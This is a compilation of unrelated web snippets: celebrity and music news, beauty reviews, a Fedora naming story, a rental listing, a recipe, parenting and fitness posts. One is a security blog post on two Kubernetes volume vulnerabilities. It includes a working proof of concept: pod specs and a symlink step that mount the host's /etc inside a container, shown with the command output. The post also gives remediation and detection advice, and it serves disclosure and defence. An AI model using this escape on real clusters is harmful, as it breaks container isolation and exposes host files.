"My mom's a huge northern soul fan," the "Love Me Again" singer explains. "What northern soul is, in the UK, it can only be explained as a rave scene almost—a scene of people that were going to these events and dancing to b-sides of Motown music. That led my mom to listening to a lot of Motown. With myself, getting up for school everyday and getting played that, it was like, 'Oh, it's my mom's music' and I denied that I liked it almost because it wasn't cool in front of my friends who listened to house music."
But after getting over the fact that his mom just might have good taste in music, the 23-year-old says he recognized the historical significance of the '60s sound. He adds, "When you become a musician and when you study Motown, theory and everything behind music, you realize that's history right there."
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Boots is launching its first new skincare line for 20 years… and there's one product that they claim solves ANY skin problem
The Your Good Skin range has been three years in the making and will be available from Wednesday
BOOTS is launching its first skincare line in 20 years this week – and it includes a product that claims to solve ANY skin condition.
The Your Good Skin range launches on Wednesday and it's been three years in development.
There are 23 products in total, including cleansers, moisturisers, masks and scrubs, which range in price from £4.49 to £16.99.
Its point of difference is that it tackles skin problems before you see them, working below the surface to rebalance it.
That's where the hero product, called Balancing Skin Concentrate (£16.99), comes in.
Dr Mike Bell, Skincare Scientific Expert at Boots UK, told The Sun Online: "It's in principle very similar to serums.
"We decided to call it a concentrate to separate it from the association with anti-ageing. It's very much about driving consistently healthier looking skin.
"It's a multi-tasker. The whole premise is the reasons why skin becomes imbalanced, whether it's oiliness or dryness, are the same biological processes.
"The technology that we've got basically tackles those underlying causes to make sure that whatever your main issue is with imbalance, whether it's dryness or oiliness, it can improve the underlying problems.
"It works with the skin's natural processes to make sure it's more resilient and adaptable to changing environment, stress, to hormonal changes, the processes that are happening under the skin for all those are the same. We're rebalancing the skin."
Alongside this, it promises to improve skin's texture, tone, radiance and make less oily or dry.
As well as a team of dermatologists and scientists, Your Good Skin had input from a community of over 2,500 everyday women who helped pick the line's packaging and fragrance.
The main aim of the line is to rebalance skin so there isn't the need to buy specific products to tackle things like oiliness or spots.
That's why the cleansers are all suitable for all skin types – in time, people shouldn't need to select one based on issues they're having.
Boots has done consumer trials on 7,500 women, with Dr Bell claiming many say they notice "immediate results, pretty much from day one, in terms of improvements in the feel and look of their skin".
He added: "After four weeks we see visibly healthier looking skin. It coincides with the natural turnover process of the skin.
"In terms of the concentrate we start to see clinical levels of benefit within four to eight weeks."
So of the 23 products, what would Dr Bell go for?
"I would choose a good cleanser, like the Micellar cleanser," he said.
"Then the Concentrate, because it's clinically proven, we know it works really effectively on whatever your skin imbalance, and then I'd apply the SPF30 day cream over the top."
Earlier this year Boots launched a new Protect and Perfect Serum which promised to take ten years off your face and neck.
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Hi guys. How are you all? I have been incredibly lazy today, I was in bed until almost midday.. oops!
I have a review of some gorgeous triangular glitters from The Nail Arcade to show you today. The Nail Arcade is a UK based online store selling lots of nail art goodies - mostly glitters, studs and rhinestones. I've got a whole array of goodies to show you guys, but these triangular glitters appealed to me most, so that is what I am showing you first.
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I received the silver and pink glitters but there are gold glitters available too. For this mani I first painted my nails using OPI - Do You Have This Colour In Stockholm? I then stuck one of each colour glitter onto my nail in a diamond shape using topcoat (if I had wanted more long term wear I would have used nail glue).
Before I put these on I was a bit concerned that they were going to be huge on my nails. They are fairly large, but I don't think they are too big - I actually really like the size of them. Taking into account their size and how curved my nails are I was surprised at how flat they laid on my nail. I was expecting them to catch on things whilst I was wearing them but they didn't at all. These have a really gorgeous holo effect to them that my camera totally hasn't done any justice.
I loved these glitters so much! I think they may be my favourite glitters in my collection. They definitely get a thumbs up from me.
These glitters are available here from just 55 pence per pack.. if that's not a bargain I don't know what is! You can also like The Nail Arcade on Facebook and follow them on Twitter to keep up with the latest deals.
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Generally speaking, planned gifts represent gift options that can be designed to meet your personal philanthropic and financial goals. Some planned gifts, such as a gift in your will, require no current outlay of funds at all. And other planned gifts, including the charitable gift annuity, make it possible to support our work, enjoy a tax deduction, and receive a lifetime income at the same time.
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Fedora Linux 12 named: Constantine
Red Hat's Fedora Linux community has now voted in a name for the upcoming Fedora 12 release. Constantine beat out four other rivals names including: Chilon, Orville, Rugosa and Umbria.
Fedora 12 succeeds Fedora 11's Leonidas (a Spartan King) with the name of a famous Roman Emperor. It's actually an interesting metaphor if you follow it through. Leonidas fought off the invaders with 300 men in a valiant stand. Constantine on the other hand is the Emperor that brought the Christian religion to the Roman Empire. As metaphor does that mean that Fedora 12 will bring the Linux religion to the masses?
In any event, Fedora 12 is still in very early development. The current release schedule pegs the release date at November 3rd 2009.
Ubuntu has its 'cute' animal names, openSUSE has its German philosophers, Debian is still stuck on Toy Story and Fedora seems to be fixated now on Kings and Emperors of antiquity.


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With no added dyes, wheat, corn, or soy, Angels' Eyes
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I love the fit of every piece of this outfit by itself and in combination. The cardigan fits well over an ample chest and my hips didn't break through in all of my posing. Now, the tank comes with the outfit, but any skintight tank will work, making this outfit not only cute and trendy, but also very versatile. Another highlight of this post is this gorgeous necklace from 7mad;Ravens, currently at Sad November. "Autumn's End" features the gorgeous colors of Fall, and the added touch of the leaves falling away to nothing makes this a wonderful piece. It is a unisex piece, with a resizer built in, making it easy to fit for both sexes. Hurry on over and grab yours before it is too late!
Sweater, Tank and Jeans - Facepalm - Just Chillin @ Vogue Fall Fest
Shoes - JD - Elvi - Black @ FaMeshed
Necklace - 7mad;Ravens - Autumn's End @ Sad November
Earrings - Lazuri - Kaya
Shape - Poudre - Kerli (MOD)
Skin - Poudre - Kerli Nude - Med. CL
Brows - Poudre - Kerli
Eyes - Adored - Glitter Girl in Springtime
Hair - Truth - Posy
Hands and Feet - Slink
Poses - PosESion - Soledad
Gazebo - M.Law - Provere Gazebo (with rezzable Christmas deco)
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Synagogue tour
Step inside the historic St Kilda *Synagogue as part of the Museum experience, and provide your students with a meaningful and interesting framework for their studies and discussions. Whilst leading you through this magnificent building, our education guides will answer questions about Judaism and explain the way the synagogue is used and managed today. During this session students can explore Jewish rituals and sacred texts, gaining a clearer understanding of what it's like being a Jew in contemporary Australia.
Programs can be customised to directly address your students' study unit. This short program would be part of a general Museum visit.
*A synagogue is a building in which Jews meet for religious worship or instruction.


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Update: An earlier version of this article included verbiage that could have misled readers to believe that the vulnerability was limited to hostPath volumes and that they would be safe if they followed the mitigation steps outlined here. However, the vulnerability impacts all volume types, not just hostPath, so the mitigation verbiage has been updated below to indicate that the available hack will disable volumes completely.
Two vulnerabilities were reported and fixed in Kubernetes two weeks ago. The GitHub issues discussing the vulnerabilities and fixes were vague, so in this post I will review the bugs in additional detail and suggest remediation methods.
The first bug (CVE-2017-1002101) allows containers using subPath volume mounts to access files or directories outside of the volume, including the host's filesystem. The second one (CVE-2017-1002102) allows containers using certain volumes to trigger deletion of arbitrary files on the host filesystem.
A simple, yet powerful PoC of exploiting the subPath vulnerability and accessing /etc on the host from within a container:
Kubernetes (K8S) volumes are mount points that can be used to host persistent data that will stay intact after the pod restarts. Volumes can be mapped to directories on the host, temporary directories, cloud hosted volumes and others. Volumes are mapped as Linux mounts inside the containers by docker (using the Linux kernel mounts namespacing).
The "subPath" attribute in the pod spec allows to use sub directories of a mounted volume in different containers. The flaw is that K8S doesn't check if the path specified by the "subPath" attribute is a valid file inside the volume. In fact, one can set the "subPath" attribute to a symlink that points to a file or directory outside of the volume and then start a container that has access to the host file system.
The bug allows to bypass the pod security policy and specifically the "AllowedHostPaths" attribute which should limit the volumes to specific directories on the host.
Let's demonstrate a simple way to exploit the bug:
- Using K8S API (through kubectl or other tools) create a pod with a volume that is mounted to the host file system. The volume will be mounted at
/vol.The pod spec would be:
apiVersion: v1 kind: Pod metadata: name: vuln-container1 spec: containers: - image: alpine name: vuln-container1 volumeMounts: # mount point inside the container - mountPath: /vol name: host-volume1 command: ["sleep"] args: ["1000"] volumes: - name: host-volume1 hostPath: # directory location on host path: /tmp/test
- From within the container create a symlink to
/vol/sym. This can be done with the ln command: "
ln -s /etc /vol/sym".
- Using K8S API create another pod with a volume that is mounted as
/vol. Add a "subPath" attribute that is set to "sym".
The pod spec would be:
apiVersion: v1 kind: Pod metadata: name: vuln-container2 spec: containers: - image: alpine name: vuln-container2 volumeMounts: # mount point inside the container - mountPath: /vol name: host-volume2 # subPath mount on the host subPath: sym command: ["sleep"] args: ["1000"] volumes: - name: host-volume2 hostPath: # directory location on host path: /tmp/test
Inspecting the container will show that
/tmp/test/sym (which points to
/etc on the host) is mounted as
nits@nits:~/dev/k8s-vulns$ docker inspect 6307a26675e3 | grep Mounts -A 10
"Mounts": [
"Type": "bind",
"Source": "/tmp/test/sym",
"Destination": "/vol",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
Checking the contents of
/vol inside the container would reveal the contents of
/etc on the host (I trimmed the output):
nits@nits:~/dev/k8s-vulns$ docker exec -it 6307a26675e3 /bin/ls -la /vol
total 1348
drwxr-xr-x 151 root root 12288 Mar 19 08:46 .
drwxr-xr-x 27 root root 4096 Mar 20 19:26 ..
drwxr-xr-x 3 root root 4096 Jun 6 2017 .java
-rw------- 1 root root 0 Feb 15 2017 .pwd.lock
drwxr-xr-x 2 root root 4096 Aug 6 2017 ImageMagick-6
drwxr-xr-x 8 root root 4096 Jun 6 2017 NetworkManager
drwxr-xr-x 2 root root 4096 Feb 15 2017 UPower
drwxr-xr-x 11 root root 4096 Feb 15 2017 X11
drwxr-xr-x 3 root root 4096 Feb 15 2017 acpi
-rw-r--r-- 1 root root 3028 Feb 15 2017 adduser.conf
drwxr-xr-x 2 root root 12288 Dec 7 15:30 alternatives
This is the one of most severe security bugs reported in K8S to date. The bug ultimately breaks the isolation of the containerized environment and allows a breach to the host file system.
The strongest remedy would be to upgrade the K8S instance. That said, the bugfixes created several new issues which need to be reviewed carefully before upgrading. I suggest reviewing the K8S github issue and take the necessary actions for upgrade.
If upgrading is not an option, a quick hack is available: use PodSecurityPolicy objects to limit container creation permissions and completely disable volumes.
This vulnerability allows containers using Secret, configMap, downwardAPI or projected volumes to trigger deletion of files and directories on the host. The deletion is done by Kubelet process, which runs as root, and can delete any file or directory on the host.
The best practice to fix the bug is to upgrade the cluster, otherwise Secrets, configMap, downwardAPI and projected volumes should be disabled. The upgrade will mount these volumes as readonly and will cause write calls to fail. Containers will need to be updated accordingly.
For more information on vulnerable versions and how to upgrade please read the relevant github issue.
Implications For Managed Kubernetes
One week ago Google updated their GKE setup and allowed users to update their system as well. There are still open issues with the new version, so please review the release notes before upgrading.
The Red Hat team coordinated with Google the release of the security fixes and made sure that OpenShift is updated. They posted a thorough blog post about the upgrade process.
Amazon EKS is still in preview, contact Amazon support to check if they updated the infrastructure.
Microsoft hasn't updated Azure Container Service (AKS) which is still vulnerable (currently supports 1.8.7 and 1.7.12). There is no date for the upgrade yet.
How can Twistlock help?
Twistlock detects this bug using three different defense vectors:
- Host vulnerability scanning: detect and alert that the K8S installation is not updated and thus impacted by the CVEs
- Container compliance: alert on any pod that mounts sensitive host folders
- Container runtime security: Alert when pod access sensitive files on the host
The Kubernetes team put a lot of effort into addressing these bugs, fixing them and porting fixes to older versions (back to 1.7). As part of our regular Twistlock Labs research on severe vulnerabilities, we found this one particularly interesting and decided to cover it in a special blog post.
Follow @TwistlockLabs on Twitter to get updates on our further publications!


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Casita Buena Vista
Apartment with 1 bedroom and 1 bathroom in Bubión, Spain
From £329 per week
Apartment to rent in Bubión, Spain
Fully equipped apartment set on the edge of Bubion village, offering stunning mountain views. A short walk to restaurants and bars. Ideal for hiking, mountain biking or just relaxing.
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Apartment overview - owner's description
Welcome to the little house with a big view! Casita Buena Vista is set in a picturesque rural lane in the enchanting alpujarran village of Bubión, dramatically perched on the edge of the Poqueira Gorge with spectacular views of the Sierra Nevada, the Alpujarras and the Mediterranean Sea.
The casita is of traditional construction with terracotta tiled floors, chestnut beamed ceilings and a large wood burning fireplace. It has been designed to stay cool in the heat of the summer and retain the warmth within on chilly winter days. This studio apartment is comfortably furnished and has a double bed in a sleeping alcove, and double sofa bed and dining table in the lounge area. The bathroom has a bath with shower attachment, and wc. The kitchen is fully equipped with fridge, four-ring gas hob, electric oven, toaster and kettle. Bathroom towels, bed linen an electric oil radiator, fan, hairdryer and radio are provided. There is also a washing machine, clothes drying rack and ironing facilities. Two French doors lead out onto the partially covered west-facing balcony, offering inspirational views of the village and mountains beyond. The property is not suitable for children or pets.
The main attraction of the region is its inspirational beauty, peace and tranquility. It is situated on the edge of the Sierra Nevada Natural Park and UNESCO Biosphere reserve, so is a spectacular hiking destination. There are walking routes sign posted from the villages. Routes range from short strolls to full-day hikes and two long distance routes. Organised tours are available as well as other activities like horse riding, mountain biking, cañoning, climbing, bird-watching and paragliding. We are also within 1 ½ hour drive of the Sierra Nevada ski area. A small, but fascinating museum, Casa Alpujarreña, housing artifacts from times gone by can be found in the main plaza alongside the church.
This apartment has 13 verified reviews.
12 out of 13 people recommend staying here
Id highly recommend the house for walkers. We had a lovely break & thoroughly enjoyed drinking a glass of wine overlooking the Poqueria valley- its stunning.
Would like to say that I was positively satisfied when I arrived at this property.
Perfect size for a couple and is exactly what it looks like on the website. The view was fantastic and an added bonus having a fire place for the month of December (when we went). The location, again perfect. Just a stroll into the small town of Bubion... and if you like a short hike up & downhill, the other two villages above and below it are within a couple of miles walking distance.
The place was clean, tidy and we were made to feel very welcome!
The perfect place to stay to feel like you are one of the locals.
Had a great time, thank you9
The property is well situated, with great views over the valley. It was clean and well equipped, and was perfect for the two of us.
The apartment is lovely, very well designed having a stylish, comfy and romantic feel. The beautiful vista is spoiled a little by litter and rubbish in the field outside the apartment.
The location was great. Great views. The town Bubion and the surrounding countryside was a treat.
Unfortunately, the apartment was a little shabby. It started at the front door which was dirty. The first thing we did was sweep the mouse (?) dro ppings away from the front door. All the windows were dirty.
Every door in the place grabbed on the floor or door jam. After 5 days that wears a bit thin. The place could do with a handyperson for a few days.
There was a smell I couldnt trace. I tried to keep the bathroom door shut thinking it was coming from the toilet, but it couldnt be closed from the outside.
The first time I had a shower I threw my dirty clothes on the floor. When I picked them up to take them outside they were covered with dust and hair.
The old TV could only pick up one scratchy channel.
Comfortable, attractive accommodation keyholders were extremely helpful, friendly and generous. Excellent place, excellent value for money.
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Outside this apartment in Bubión, SpainThis apartment is in the countryside near the mountains. It has outside lighting. Car hire is recommended as the apartment is less than a 15 minute walk to at least a couple of shops, bars and restaurants; however parking is not available.
Prices and availability
Updated 24 February 2020
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- 2 April - 20 December 2020: the minimum stay is 3 nights.
- 2 January - 20 December 2021: the minimum stay is 3 nights.
- 2 January - 20 December 2022: the minimum stay is 3 nights.
- 2 January - 31 March 2023: the minimum stay is 3 nights.
Late booking discounts
- Arrive between 31 July - 1 October and receive 15% off if the booking is made within 120 days of the arrival date.
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- Receive 20% off if the booking is for 13 days or more.
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If more than one discount matches your arrival date, please be aware that only one discount of the highest amount will be applied to your booking.
Large basket of firewood for open fireplace
24 January - 30 April: £12.00 per booking, paid with booking
1 bedroom, Sleeps 2:
- 1 double bed
There is also 1 double sofa bed
1 bathroom, 1 Separate WC
CD player, Radio
Living area seats 2, Dining area seats 4, Open fire, Hair dryer, Iron / board, Towels / linen, Washing machine, Car hire recommended
Cooker, Crockery, Cutlery, Fridge, Freezer, Glassware, Kettle, Oven, Pots / pans, Toaster
Outside lighting
Suitable for
Single gender groups
Private Owner From Hove, United Kingdom Member since May 2006
Past bookings: 100 bookings
Last seen: a month ago
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Sweet Somas
Somas is a traditional sweet recipe of Tamilnadu, which was often made during festivals in olden days, when the modern sweets were not known and well popular. In olden days mysore pak, somas, paniyaram, achu murukku etc were the sweets made during deepavali.
Here again the pooranam can be made with lot of variations like change in ingredients from fried gram to rava. Professional makers will get it right and the outer layer cover will be crispy, then only it will taste good. The new trials may give it a chewy taste.
This time my friend wanted to make it so we both decided to do and we got it very well. We have used coconut and fried gram only, you can use rava also instead of fried gram. Try it and you will like this traditional sweet recipe.
Let us see how to make sweet somas
Preparation time - 30 minutes
Cooking time - 30 minutes
Yield - 20 somas
For dough
Maida - 1 cup
Rava - ¼ cup
Salt - pinch
For Filling
Coconut - ½ cup
Fried gram(pottu kadalai - ½ cup
Khus khus - 1 tablsp
Sugar - ¾ cup
Cardamom powder - ¼ tsp
Ghee - 3 tsp
Oil - for frying
Add maida, rava and salt in a bowl and mix well. Add water little by little and make a smooth dough. Cover the dough with wet cloth and set aside for 30 minutes.
Grind pottukadalai coarsely in the mixer.
Heat ghee in a pan and add grated coconut and sauté for about few minutes. Add sugar, ground pottukadalai, Khus khus and cardamom powder. Mix well and switch off the stove.
Take lemon size ball in the dough and make big chapatti. Cut small round pori with a help of small bowl or lid. Place one teaspoon filling over the pori and fold the pori.
Press the edges with the help of wet fingers. Trim the edges with somas spoon. Do all like this.
Heat oil a frying pan and fry somas in batches.
Fry both sides well till the shhh sound subsides.
Stick the somas well or else the pooranam will come out while frying.
Use water to stick the edges.
If you want You can add cashew, badam or any nuts in the pooranam.
Store it in a air tight container and use for about a week.


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The boy band released a 16-second video teaser for their forthcoming single "Sweet Girl" via their YouTube channel.
Set for release on Monday, August 10, the jazzy-colorised, retro-styled video clip features the B1A4 boys bracing themselves before a mic as they prepare to sing to their subject of desire — a "Sweet Girl" who appears briefly in the teaser drawing the gazes of the boys onto her.
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Band leader Jinyoung, 23, wrote the lyrics to the upbeat track himself, describing a guy who confesses his feelings to the love of his life.
Some lucky fans got a live preview of the song ahead of the group's official comeback after B1A4 performed "Sweet Girl" for the first time on stage at a guerrilla concert in Seoul on Thursday, August 6.
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The surprise gig was attended by some 2,000 people and gave a taste of what to expect from the group when they return to the scene next week.
They also performed other tracks from their forthcoming EP, including "You Are A Girl I Am A Boy" and "10 Years Later"


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Instead, I remained calm and wanted to know the whole story so that I could figure out how to deal with it. This was how it went.
The thing was, we were shocked that a 2.5 year old knows how to lie so blatantly!
On the way home, I reiterated that it was wrong of her to lie. However, I knew deep down in my heart that the problem lies with us, not her. After all, little kids imitate and absorb what they see and hear.
At dinner, I told the rest of the family what had transpired that day. The kids were old enough to point out that "adults also tell white lies, even you and daddy, so that must have been where she picked it up from". They recounted many instances where the truth was not spoken.
- You always say, "Everyone is going". (to a child, everyone would literally mean every single person. Ok, I'd better wipe that one off my list of constantly used words.)
- Dad tells whoever we are meeting that "We are almost there" when we had just left the house. I heard Uncle T say that last week too.
- Aunt J always promise us that she's coming to visit soon. But she never does.
- You said you'll be back in 15 minutes. You lied.
With 5 "witnesses" to our daily behavior, the examples came fast and furious.
I had nothing so say. The kids were right.
The next day, I was on high alert to what I was saying and what others around me were saying to Kate.
- Kate spotted the Crocs shoes her cousin passed down to her and wanted to wear it. As we were going to the mall (we try not to allow Kate to wear Crocs on escalators), our helper said, "Cannot". Kate persisted. "I want". She quickly replied, "Cannot. Got lizard poo poo." Kate said "Where? Let me see." (of course, there was none.)
- The girls were eating sweets and when Kate asked for some, they replied, "No more."
- I went home and found #5 quietly giving Kate his snacks (which are too salty for her) and when I boomed, "Why are you giving her the pretzels?", he said, "Just a few.". I'm sure she had way more than a few.
- There were countless instances where words came out of my mouth before I realised they were not the absolute truth.
It's not about her.
It's about us.
It's about me.
So. Where do I go from here?
I've decided that I'll start focusing on improving one parenting skill at a time until I conquer it. Then I'll work on the next one.
Here's the first:
Anyone joining me?
Here are some good tips on how to help your child deal with lying, over at Life's Tiny Miracles blog.
Other discipline tips (which I've learnt after having 5 kids):
Tip #1: Don't scream at your child
Tip #5: How to talk to boys vs girls
Tip #6: Ban books? What are you gonna do about phones?
Tip #7: 10 House Rules for Gadget Use
Tip #6: Ban books? What are you gonna do about phones?
Tip #7: 10 House Rules for Gadget Use
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Fitness @ Jetty Road Glenelg
Adelaide blogger Caity Says, set out to try some of the popular fitness classes at Jetty Road Glenelg.
FIRST STOP // Coast Yoga
Coast Yoga is the longest established Yoga Centre at the bay offering a Iyengar style of yoga.
Q&A with Coast Yoga
I'm thinking of starting yoga. Where do I start and what level of fitness do I need? Start at beginners level. You will get a methodical foundation in strength, flexibility and alignment. You don't need a high level of fitness. With this style of yoga, the Iyengar style, the class is fitted to each student's individual capacity. You will develop stamina and fitness over the 10 week course.
What fitness benefits can I expect to receive? Yoga works on your body and mind. You will gain toned, flexible muscles, upper body strength, abdominal strength, improved balance, relief from pain caused by poor posture and tight short muscles, deep relaxation, stress release and a balanced nervous system. Research shows that yoga will protect you from injury.
What do I wear to class?
Wear clothes that are easy to move in and in which you feel comfortable. Gym wear allows us to see your alignment more easily.
Is there a beginners class? Yes, we offer beginners classes on: Tuesday and Thursday evenings run for 10 weeks and start at the beginning of the term. Monday and Saturday mornings can be started at any time but also cannot be attended casually. We recommend that beginners start with at least 2 sessions a week. We offer a special where if you pay for 2 classes a week you can attend up to 4 times a week.
How long does class go for? Beginners classes go for 75 minutes.
Inner Strength Pilates
Inner Strength Pilates cater for a range of clients from beginners to advanced with personalised pilate and barre programs that can help you overcome injuries, realign you body, improve overall strength, and become more flexible.
Q&A with Inner Strength
What are barre classes?
This workout produces dramatic results that sculpt and redefine the entire body. The main bulk of the class is spent at the barre. Hand weights will then be used to in conjunction with leg movement in order to increase the heart rate and stamina. Balance work is also included, as well as floor work to focus on the upper body and abdominal exercises.
What fitness benefits can I expect to receive?
- Improved posture and balance
- Stronger abs and back muscles
- Improving stamina, power and cardiovascular fitness
- Increasing flexibility
- Increasing your body awareness and motor control
- A lifted butt, toned thighs, sculpted arms and flatter abs
- Burn Fat and help with weight loss
Is there a beginners class?
All Barre Classes are suitable for all ages & abilities, as various adaptations are given throughout each class to suit the abilities of all students.
What to wear and bring?
You will need socks with sticky rubber on the bottom. These can be purchased from the studio. Sweat towels are provided. Wear comfortable fitness clothing that you can stretch in.
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